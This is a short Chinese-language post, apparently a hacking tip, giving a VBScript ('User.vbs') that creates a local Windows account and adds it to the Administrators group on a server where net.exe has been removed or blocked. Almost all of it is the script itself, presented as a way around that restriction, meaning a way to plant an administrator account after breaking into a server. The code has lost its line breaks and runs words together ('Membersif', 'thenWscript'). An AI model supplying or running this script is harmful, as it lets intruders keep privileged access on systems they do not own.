加用户User.vbs内容
如果服务器删除或者禁止了net.exe我们可以用下面的东西来加用户User.vbs内容struser=wscript.arguments(0)strpass=wscript.arguments(1)set lp=createObject("WSCRIPT.NETWORK") oz="WinNT://"&lp.ComputerName Set ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group") Set od=ob.create("user",struser) od.SetPassword strpass od.SetInfo Set of=GetObject(oz&"/" & struser & ",user") oe.Add(of.ADsPath) For Each admin in oe.Membersif struser=admin.Name thenWscript.echo struser & " 建立成功!"wscript.quitend ifNextWscript.echo struser & " 用户建立失败!"
